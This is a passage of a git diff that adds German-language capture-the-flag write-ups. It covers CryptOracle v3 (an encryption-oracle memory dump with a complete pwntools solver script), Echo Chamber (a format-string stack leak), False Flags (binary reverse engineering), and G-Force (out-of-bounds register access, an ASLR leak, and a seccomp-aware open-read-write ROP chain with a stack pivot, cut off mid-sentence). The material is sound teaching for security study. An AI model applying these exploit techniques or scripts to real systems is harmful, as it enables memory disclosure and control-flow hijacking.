sicheren Speicher in den Benutzerspeicher +> enc 0x10000 32 30 0x20000 +OK + +# Schritt 2: Entschlüsseln des Chiffretextes aus dem Benutzerspeicher an eine andere Stelle im Benutzerspeicher +> dec 0x20000 32 30 0x20100 +OK + +# Schritt 3: Lesen der Klartext-Flagge aus dem Benutzerspeicher +> rm 0x20100 32 +00020100: 7b 66 6c 61 67 3a 20 73 65 6c 66 5f 65 6e 63 72 {flag: self_encr +00020110: 79 70 74 69 6f 6e 5f 69 73 5f 6e 69 63 65 21 7d yption_is_nice!} +``` + +Die Flagge wird enthüllt: `{flag: self_encryption_is_nice!}` diff --git a/de/cryptoracle_v3.md b/de/cryptoracle_v3.md new file mode 100644 index 0000000..e892c7c --- /dev/null +++ b/de/cryptoracle_v3.md @@ -0,0 +1,195 @@ +# CryptOracle v3 + +`CryptOracle v3` ist das "Gold Master" Release des HSM-Simulators. Die Schwachstellen aus v1 (direktes Lesen) und v2 (Confused Deputy) wurden gepatcht. Die Herausforderung besteht darin, die neue Schwachstelle in den kryptographischen Funktionen zu finden, um die geheime Flagge zu dumpen. + +## Informationsbeschaffung + +Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche: + +``` +CryptOracle v3.0 (Bullet proof!) +... +Type 'help' for commands. +``` + +Die Binärdatei ist nicht gestrippt, was unsere Analyse in Ghidra erleichtert. + +## Reverse Engineering + +### 1. Die Patches + +Zuerst überprüfen wir die Fixes. +- **`do_read`**: Hat immer noch die Prüfung `if (offset < 0x20000)`, die direkte Lesevorgänge im sicheren Speicher blockiert. +- **`get_ptr`**: Hat jetzt ein viertes Argument `is_privileged`. Wir stellen fest, dass `do_cipher` (für `enc` und `dec`) `get_ptr` mit `is_privileged=0` aufruft, was bedeutet, dass es überhaupt nicht mehr auf sicheren Speicher zugreifen kann. Der Confused Deputy Angriff ist behoben. + +### 2. Die neue Angriffsfläche (`do_sign`) + +Die Challenge-Beschreibung deutet an, dass der `sig`-Befehl unser neuer Fokus ist. Die `do_sign`-Funktion wird aufgerufen, und im Gegensatz zu `do_cipher` ist sie privilegiert. + +```c +/* Dekompilierte do_sign Funktion */ +void do_sign(uint32_t src_off, uint32_t len, int slot, uint32_t dst_off) +{ + long lVar1; + uint8_t *src_ptr; + uint8_t *dst_ptr; + uint8_t *key_ptr; + AES_KEY k; + uint8_t block [16]; // Ein 16-Byte-Puffer auf dem Stack + + // Alle Zeiger werden mit privilegiertem Zugriff angefordert (letztes Argument ist 1) + src_ptr = get_ptr(src_off, len, 0, 1); + dst_ptr = get_ptr(dst_off, 0x10, 1, 1); + key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0, 1); + + if (/* Zeiger sind gültig */) { + AES_set_encrypt_key(key_ptr, 0x80, &k); + + // Der Stack-Puffer wird ausgenullt + memset(block, 0, 0x10); + + // Die Eingabelänge wird auf 16 Byte begrenzt + if (0x10 < len) { + len = 0x10; + } + + // Die (bis zu) 16 Bytes von der Quelle werden in den Block kopiert + memcpy(block, src_ptr, (ulong)len); + + // Der Block wird verschlüsselt und an das Ziel geschrieben + AES_encrypt(block, dst_ptr, &k); + puts("OK"); + } +} +``` + +Wichtige Erkenntnisse aus `do_sign`: +1. **Privilegiert**: Sie kann von überall lesen, einschließlich der geheimen Flagge bei `0x10000`. +2. **Deterministisch**: Das "Signieren" ist einfach eine AES-ECB-Verschlüsselung. Für einen gegebenen Schlüssel und einen gegebenen Eingabeblock ist die Ausgabe immer gleich. +3. **Padding**: Die Funktion nimmt bis zu 16 Bytes Eingabe, kopiert sie in einen mit Nullen aufgefüllten 16-Byte-Block und verschlüsselt dann den Block. Das ist entscheidend: `sig` auf einem einzelnen Byte `X` ist effektiv `Enc(Key, [X, 0, 0, ...])`. + +### 3. Die Schwachstelle: Deterministisches Orakel + +Da das Signieren deterministisch ist, können wir es als **Verschlüsselungsorakel** verwenden. Wir können es bitten, beliebige Daten, die wir wollen, mit einem der Hauptschlüssel (z.B. Slot 0) zu "signieren" (verschlüsseln). Wenn wir jedes mögliche Byte von 0-255 verschlüsseln, können wir eine Lookup-Tabelle erstellen, die das ursprüngliche Byte auf seine Signatur abbildet. + +Dies ermöglicht einen klassischen **Rainbow Table** Angriff. + +## Lösung + +Der Angriff besteht aus zwei Phasen: + +1. **Erstellen einer Rainbow Table**: + * Iteriere durch alle 256 möglichen Bytewerte. + * Schreibe jedes Byte in den Benutzerspeicher (z.B. `0x20000`). + * Verwende den `sig`-Befehl mit einem Hauptschlüssel (Slot 0), um dieses einzelne Byte zu verschlüsseln. + * Lies die 16-Byte-Signatur aus dem Ausgabepuffer. + * Speichere die Zuordnung `Signatur -> Byte`. + +2. **Dumpen des sicheren Speichers**: + * Iteriere durch die Adressen der geheimen Flagge (`0x10000`, `0x10001`, usw.). + * Verwende für jede Adresse den `sig`-Befehl, um die Signatur des einzelnen geheimen Bytes an dieser Adresse zu erhalten. + * Suche die resultierende Signatur in unserer Rainbow Table, um das ursprüngliche geheime Byte zu finden. + +### Schritt-für-Schritt-Ausführung + +Hier ist, wie wir das Lookup für das erste Byte der Flagge manuell durchführen würden. + +**1. Tabelle für ein bekanntes Byte erstellen, z.B. 'A' (0x41)** +```bash +# Schreibe 'A' in den Benutzerspeicher +> wm 0x20000 1 41 +OK + +# Signiere dieses Byte mit dem Hauptschlüssel in Slot 0 +> sig 0x20000 1 0 0x20100 +OK + +# Lies die Signatur +> rm 0x20100 16 +00020100: d85de6195410... +``` +Jetzt wissen wir, dass die Signatur `d85de6...` dem Klartext-Byte `A` entspricht. Wir wiederholen dies für alle 256 Bytes. + +**2. Signatur des ersten geheimen Bytes abrufen** +```bash +# Signiere das Byte am Anfang des sicheren Bereichs +> sig 0x10000 1 0 0x20100 +OK + +# Lies seine Signatur +> rm 0x20100 16 +00020100: 555c441c2... +``` + +**3. Nachschlagen und wiederholen** +Wir finden heraus, welches Klartext-Byte der Signatur `555c44...` in unserer vorgefertigten Tabelle entspricht. Dies enthüllt das erste Byte der Flagge. Wir wiederholen dies für alle 32 Bytes, um die gesamte Flagge zu dumpen. + +### Finales Solver-Skript + +Das `solve.py` Skript automatisiert diesen gesamten Prozess. + +```python +from pwn import * +import sys + +# --- Konfiguration --- +HOST = '127.0.0.1' +PORT = 1339 + +# Speicherkarte +SECRET_BASE = 0x10000 +USER_BASE = 0x20000 +USER_SCRATCH = USER_BASE + 0x200 + +def solve(): + io = remote(HOST, PORT) + io.recvuntil(b"Type 'help' for commands. +") + log.info(f"Connected. dumping memory from 0x{SECRET_BASE:x}...") + + # --- Phase 1: Rainbow Table erstellen (0x00 - 0xFF) --- + log.info("Phase 1: Building Rainbow Table...") + rainbow_table = {} + prog = log.progress("Mapping") + + for b in range(256): + byte_hex = f"{b:02x}" + io.sendline(f"wm 0x{USER_BASE:x} 1 {byte_hex}".encode()) + io.recvuntil(b"OK\n") + io.sendline(f"sig 0x{USER_BASE:x} 1 0 0x{USER_SCRATCH:x}".encode()) + io.recvuntil(b"OK\n") + io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode()) + signature = io.recvline().strip().decode() + rainbow_table[signature] = b + if b % 16 == 0: prog.status(f"{b}/255") + prog.success(f"Done. ({len(rainbow_table)} entries)") + + # --- Phase 2: Sicheren Speicher dumpen --- + log.info("Phase 2: Dumping first 32 bytes of Secure Memory...") + dumped_bytes = [] + for i in range(32): + target_addr = SECRET_BASE + i + io.sendline(f"sig 0x{target_addr:x} 1 0 0x{USER_SCRATCH:x}".encode()) + io.recvuntil(b"OK\n") + io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode()) + secret_sig = io.recvline().strip().decode() + + if secret_sig in rainbow_table: + val = rainbow_table[secret_sig] + dumped_bytes.append(val) + else: + dumped_bytes.append(0) + + # ASCII-Darstellung drucken + ascii_repr = "".join([chr(b) if 32 <= b <= 126 else '.' for b in dumped_bytes]) + log.success(f"Flag: {ascii_repr}") + + io.close() + +if __name__ == "__main__": + solve() + +``` + +Das Ausführen des Skripts liefert die Flagge: +`{flag: self_encryption_is_nice!}` diff --git a/de/echo_chamber.md b/de/echo_chamber.md new file mode 100644 index 0000000..53d91ff --- /dev/null +++ b/de/echo_chamber.md @@ -0,0 +1,104 @@ +# Echo Chamber + +Hallo! Willkommen zum Write-up für **Echo Chamber**. Dies ist eine klassische "pwn"-Challenge, die eine sehr verbreitete, aber mächtige Schwachstelle demonstriert: die **Format-String-Schwachstelle**. + +In dieser Challenge erhalten wir ein kompiliertes Binary. Wenn wir den ursprünglichen Quellcode nicht haben, verwenden wir Tools wie **Ghidra**, um das Binary zu dekompilieren und zu sehen, was das Programm "unter der Haube" macht. + +--- + +## 1. Erste Erkundung (Reconnaissance) + +Wenn wir das Programm ausführen, bittet es um eine Eingabe und gibt sie "echoförmig" zurück: + +```text +Welcome to the Echo Chamber! +Give me a phrase, and I will shout it back: Hello! +You said: Hello! +``` + +Die Beschreibung des Entwicklers gibt uns einen Hinweis: +> "Der Entwickler behauptet, es sei vollkommen sicher, weil 'es keinen Code ausführt, sondern nur Text druckt'." + +Dies ist eine klassische "Berühmte letzte Worte"-Situation in der IT-Sicherheit! Schauen wir uns den dekompilierten Code an, um zu verstehen, warum. + +## 2. Analyse des dekompilierten Codes (Ghidra) + +Beim Öffnen des Binarys in Ghidra finden wir die Funktion `vuln()`. Hier ist der Pseudocode, den wir erhalten: + +```c +void vuln(void) +{ + char acStack_a0 [64]; // Unser Eingabepuffer + char local_60 [72]; // Hier wird das Flag gespeichert + FILE *local_18; + + local_18 = fopen64("flag.txt","r"); + if (local_18 == (FILE *)0x0) { + puts("Flag file is missing!"); + exit(0); + } + + // 1. Das Flag wird in local_60 eingelesen + fgets(local_60,0x40,local_18); + fclose(local_18); + + puts("Welcome to the Echo Chamber!"); + printf("Give me a phrase, and I will shout it back: "); + + // 2. Unsere Eingabe wird in acStack_a0 eingelesen + fgets(acStack_a0,0x40,(FILE *)stdin); + + printf("You said: "); + // 3. SCHWACHSTELLE: Unsere Eingabe wird direkt an printf übergeben! + printf(acStack_a0); + putchar(10); + return; +} +``` + +Siehst du die Zeile `printf(acStack_a0);`? Das ist unser "goldenes Ticket". + +## 3. Die Schwachstelle: Format-Strings + +In C erwartet `printf`, dass sein erstes Argument ein **Format-String** ist (wie `"%s"` oder `"Hallo %s"`). Wenn ein Entwickler die Benutzereingabe direkt an `printf` übergibt, kann der Benutzer seine eigenen Format-Spezifizierer angeben. + +Wenn `printf` einen Spezifizierer wie `%p` (Pointer drucken) oder `%x` (Hexadezimalwert drucken) sieht, sucht es nach dem nächsten Argument auf dem **Stack**. Wenn wir keine Argumente angeben, beginnt `printf` einfach damit, alles auszugeben, was sich bereits auf dem Stack befindet! + +### Wo ist das Flag? +Wenn wir uns die Ghidra-Ausgabe ansehen, bemerken wir, dass sowohl `acStack_a0` (unsere Eingabe) als auch `local_60` (das Flag) **lokale Variablen** sind. Das bedeutet, dass beide direkt nebeneinander auf dem Stack gespeichert sind. + +## 4. Ausnutzen des "Echos" + +Wenn wir eine Kette von Format-Spezifizierern wie `%p %p %p %p %p %p...` senden, können wir `printf` dazu bringen, den Inhalt des Stacks auszugeben. Da das Flag auf dem Stack liegt, wird es schließlich mit ausgedruckt! + +Versuche dies als Eingabe: +`%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p` + +Das Programm wird mit einer Reihe von Hexadezimal-Adressen antworten. Einige dieser Werte sind tatsächlich die ASCII-Zeichen unseres Flags. + +### Little Endianness +Wenn du die Hex-Werte siehst, denke daran, dass moderne Systeme die **Little Endian**-Byte-Reihenfolge verwenden. Das bedeutet, dass die Bytes in umgekehrter Reihenfolge gespeichert werden. + +Wenn du zum Beispiel `0x7b67616c66` siehst und diese Bytes von Hexadezimal in ASCII umwandelst: +- `66` = `f` +- `6c` = `l` +- `61` = `a` +- `67` = `g` +- `7b` = `{` + +Der Wert `0x7b67616c66` repräsentiert also `flag{` in umgekehrter Reihenfolge! + +## 5. Alles zusammenfügen + +Um die Challenge zu lösen: +1. Verbinde dich mit dem Dienst. +2. Sende viele `%p`-Spezifizierer, um den Stack auszulesen (Leak). +3. Identifiziere die Hex-Werte, die wie lesbarer Text aussehen (beginnend mit `0x...` und ASCII-Werte enthaltend). +4. Kehre die Bytes um (Endianness) und wandle sie in Zeichen um. +5. Kombiniere die Teile, um das Flag zu finden! + +## Gelernte Lektionen + +Selbst wenn ein Programm "nur Text druckt", ist es nicht sicher, wenn es `printf` falsch verwendet. Die Lösung ist einfach: Verwende immer `printf("%s", buffer);`. Dies stellt sicher, dass die Eingabe als reine Zeichenkette behandelt wird und nicht als Code oder Anweisungen für die Funktion. + +Viel Erfolg beim Hacken! diff --git a/de/false_flags.md b/de/false_flags.md new file mode 100644 index 0000000..4dc3cdd --- /dev/null +++ b/de/false_flags.md @@ -0,0 +1,115 @@ +# False Flags + +`falseFlags` ist eine einsteigerfreundliche Reverse-Engineering-Challenge. Wir erhalten eine Binärdatei, die mehrere "falsche" Flaggen enthält, und unser Ziel ist es, die richtige zu identifizieren. + +## 1. Erste Analyse + +Wir beginnen mit der Untersuchung des Dateityps und der grundlegenden Eigenschaften. + +```bash +$ file false_flags +false_flags: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped +``` + +Es ist eine Standard-64-Bit-ELF-ausführbare Datei. Versuchen wir, sie auszuführen. Die Challenge ist auch remote verfügbar unter `:1301`. + +```bash +$ nc 1301 +=== The Vault of Falsehoods === +There are many keys, but only one opens the door. +Enter the password: test +[-] Wrong! That was merely a decoy. +``` + +Da die Beschreibung "versteckte Passwörter in der Binärdatei" erwähnt, ist der `strings`-Befehl ein guter erster Schritt, um zu sehen, was drin ist. + +```bash +$ strings false_flags | grep flag +{flag:This_Is_Definitely_Not_It} +{flag:Try_Harder_To_Find_The_Key} +{flag:Strings_Are_Misleading_You} +... +{flag:Reverse_Engineering_Is_Cool} +... +``` + +Wir sehen eine lange Liste potenzieller Flaggen. Wir könnten sie eine nach der anderen ausprobieren, aber das ist mühsam (und "Brute-Force" ist nicht der elegante Weg!). Wir müssen herausfinden, mit *welchem* spezifischen String das Programm unsere Eingabe vergleicht. + +## 2. Statische Analyse + +Wir können die Binärdatei mit `objdump` analysieren, um uns den Assembler-Code anzusehen. Da die Binärdatei "stripped" ist, sehen wir keine Funktionsnamen wie `main`. Wir können jedoch den Einsprungpunkt finden. + +```bash +$ readelf -h false_flags | grep "Entry point" + Entry point address: 0x4019f0 +``` + +Der Einsprungpunkt ist bei `0x4019f0`. Wenn wir an dieser Adresse disassemblieren, sehen wir den Startcode (`_start`), der `__libc_start_main` aufruft. Das erste Argument für `__libc_start_main` ist die Adresse von `main`. + +```bash +$ objdump -d -M intel --start-address=0x4019f0 --stop-address=0x401a20 false_flags + +00000000004019f0 <.text+0x830>: + ... + 401a08: 48 c7 c7 52 1b 40 00 mov rdi,0x401b52 <-- Adresse von main + 401a0f: 67 e8 5b 15 00 00 addr32 call 0x402f70 <-- Aufruf von __libc_start_main + ... +``` + +Also befindet sich `main` bei `0x401b52`. Disassemblieren wir sie. + +```bash +$ objdump -d -M intel --start-address=0x401b52 --stop-address=0x401c50 false_flags +``` + +In der Ausgabe sehen wir früh in der Funktion einen Aufruf: + +```assembly + 401ba0: e8 70 ff ff ff call 0x401b15 + 401ba5: 89 85 6c ff ff ff mov DWORD PTR [rbp-0x94],eax +``` + +Der Rückgabewert (in `eax`) wird in `[rbp-0x94]` gespeichert. Diese Variable wird später verwendet, um auf ein Array zuzugreifen. Schauen wir uns an, was `0x401b15` tut. + +```bash +$ objdump -d -M intel --start-address=0x401b15 --stop-address=0x401b52 false_flags + +0000000000401b15 <.text+0x955>: + ... + 401b4b: b8 0c 00 00 00 mov eax,0xc + 401b50: 5d pop rbp + 401b51: c3 ret +``` + +Trotz einiger Schleifenlogik davor gibt die Funktion letztendlich `0xc` (dezimal 12) zurück. Dieser Index wird verwendet, um die richtige Flagge aus dem Array von Strings auszuwählen, die wir früher gesehen haben. + +## 3. Die Lösung + +Jetzt müssen wir einfach den String am Index 12 (beginnend bei 0) in der Liste finden, die wir früher gefunden haben. + +0. {flag:This_Is_Definitely_Not_It} +1. {flag:Try_Harder_To_Find_The_Key} +2. {flag:Strings_Are_Misleading_You} +... +10. {flag:Do_Not_Trust_Simple_Strings} +11. {flag:Index_Twelve_Is_Not_Real_11} +12. {flag:Reverse_Engineering_Is_Cool} + +Der String bei Index 12 ist: +`{flag:Reverse_Engineering_Is_Cool}` + +Überprüfen wir dies, indem wir uns mit dem Remote-Server verbinden: + +```bash +$ nc 1301 +=== The Vault of Falsehoods === +There are many keys, but only one opens the door. +Enter the password: {flag:Reverse_Engineering_Is_Cool} + +[+] Correct! Access Granted. +[*] The flag is indeed: {flag:Reverse_Engineering_Is_Cool} +``` + +## Fazit + +Diese Challenge zeigt, dass `strings` zwar interessante Daten offenbaren kann, das Verständnis der *Logik* (Kontrollfluss) des Programms jedoch oft notwendig ist, um nützliche Daten von Täuschungen zu unterscheiden. diff --git a/de/g_force.md b/de/g_force.md new file mode 100644 index 0000000..cc20adb --- /dev/null +++ b/de/g_force.md @@ -0,0 +1,457 @@ +# Write-up: G-Force + +**Kategorie:** Pwn +**Schwierigkeitsgrad:** Schwer +**Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung. + +In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat. + +--- + +## 1. Initiale Analyse + +Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`. + +```bash +$ file g_forcevm +g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped +``` + +Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen. + +Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt: + +```text +--- G-FORCE VM v2.0 (Final) --- +4KB Secure Sandbox. Type 'help' for instructions. +> help + +--- G-Force Instruction Set --- +General: + MOVI R, IMM : Load immediate value into Register R + MOVR R1, R2 : Copy value from R2 to R1 +... +Meta Commands: + execute : Compile and run the current program buffer + info : Dump current CPU state + ram OFF LEN : Hex dump of RAM at offset + debug : Run debug logger +... +``` + +## 2. Reverse Engineering + +Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet. + +### Die VM-Struktur & das Stack-Layout +Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden. + +```c +undefined8 FUN_0010ba79(void) +{ + // ... + undefined1 local_20d8 [40]; + undefined8 local_20b0; + undefined8 local_20a8; + code *local_20a0; + undefined1 local_2098 [8192]; + // ... + + // Initialisierung + thunk_FUN_0012dff0(local_20d8,0,0x40); // memset + + // RAM-Allokation + // FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper). + // 0x1000 = 4096 Bytes (4KB) + local_20a8 = FUN_0012ac00(0x1000); + + // Initialisierung des Debug-Funktionszeigers + local_20a0 = FUN_00109a22; + + // Hauptschleife + while( true ) { + // ... Befehls-Parsing ... + iVar2 = thunk_FUN_0012d150(uVar4,"debug"); + if (iVar2 == 0) { + // VERWUNDBARER AUFRUF + (*local_20a0)(local_20a8); + } + else { + iVar2 = thunk_FUN_0012d150(uVar4,"execute"); + if (iVar2 == 0) { + FUN_00115f80("[*] Compiling %d ops...\n",local_20f8); + FUN_0010a2b8(local_20d8,local_2098,local_20f8); + // ... + } + } + } +} +``` + +Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP). +Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird. +Betrachten wir das Speicher-Layout auf dem Stack genauer: +* `local_20d8` (Register) beginnt am Offset `-0x20d8`. +* `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`. +* `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`. + +Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht. +Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht. + +### Bestätigung des Layouts über `info` +Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet). + +```c +void FUN_00109cbe(undefined8 *param_1) +{ + FUN_0011d2b0("\n--- CPU STATE ---"); + FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]); + FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]); + FUN_00115f80("SP : 0x%016lx\n",param_1[5]); + FUN_0011d2b0("-----------------"); + return; +} +``` + +Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen. +* `param_1[0]` entspricht **Register A** (Offset 0). +* `param_1[1]` entspricht **Register B** (Offset 8). +* `param_1[2]` entspricht **Register C** (Offset 16). +* `param_1[3]` entspricht **Register D** (Offset 24). +* `param_1[5]` entspricht **SP** (Offset 40). + +Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert. + +### Rekonstruktion der CPU-Struktur +Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren: + +```c +struct CPU_Stack_Layout { + uint64_t regs[4]; // Offset 0x00: Register A, B, C, D + uint64_t PC; // Offset 0x20: Program Counter / reserviert + uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40) + uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48) + void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56) +}; +``` + +Dies passt perfekt zu unserem rekonstruierten Layout! + +### Die Schwachstelle: Out-of-Bounds Registerzugriff +Der Befehls-Parser wandelt Registernamen in Indizes um. +- `a` -> 0 +- `b` -> 1 +- `c` -> 2 +- `d` -> 3 + +Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`! + +```c +int FUN_001099bf(char *param_1) +{ + // ... + if ((*param_1 < 'a') || ('h' < *param_1)) { + iVar1 = -1; + } + else { + iVar1 = *param_1 + -0x61; + } + // ... + return iVar1; +} +``` + +Wenn wir Register **`g`** (Index 6) verwenden: +`Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu. + +Wenn wir Register **`h`** (Index 7) verwenden: +`Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu! + +Dies gibt uns zwei mächtige Primitive: +1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis. +2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, ` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben. + +### Der "Debug"-Befehl +Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`). + +```c +// Pseudo-Code für den debug-Befehl +if (cmd == "debug") { + // local_20a0 zeigt standardmäßig auf default_logger + // Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung. + // Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8). + (*local_20a0)(local_20a8); +} +``` + +## 3. Ausnutzungsstrategie: Der Schlachtplan + +Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen. + +### Entdeckung der Seccomp-Sandbox +Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist: + +```c +void FUN_0010b918(void) +{ + // ... + iVar1 = FUN_001636b0(0x26,1,0,0,0); + if (iVar1 != 0) { + FUN_001161b0("prctl(NO_NEW_PRIVS)"); + FUN_00115450(1); + } + iVar1 = FUN_001636b0(0x16,2,local_68); + if (iVar1 != 0) { + FUN_001161b0("prctl(SECCOMP)"); + FUN_00115450(1); + } + // ... +} +``` + +Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall. +1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden. +2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf. + +Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben. + +### Schritt 1: Adressen leaken (ASLR umgehen) +Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet. +1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`). +2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`). +3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries. + +### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren +Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet: +* `RAX` = System Call Nummer +* `RDI` = Argument 1 +* `RSI` = Argument 2 +* `RDX` = Argument 3 + +Hier ist, wie jeder Befehl in der Kette konstruiert ist: + +#### 1. `open("./flag.txt", 0)` +* `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0") +* `pop rsi; ret` -> `0` (O_RDONLY) +* `pop rax; ret` -> `2` (SYS_open) +* `syscall; ret` + +#### 2. `read(3, buffer, 0x100)` +* `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind) +* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM) +* `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes) +* `pop rax; ret` -> `0` (SYS_read) +* `syscall; ret` + +#### 3. `write(1, buffer, 0x100)` +* `pop rdi; ret` -> `1` (stdout) +* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben) +* `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes) +* `pop rax; ret` -> `1` (SYS_write) +* `syscall; ret` + +**Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0). + +### Schritt 3: Den Pivot finden +Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen. +1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`. +2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`). +3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain. + +### Schritt 4: Den Funktionszeiger überschreiben +Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten. +1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`. +2. **Die Payload:** Wir verwenden `MOVI h, `, um die Standard-Logger-Adresse 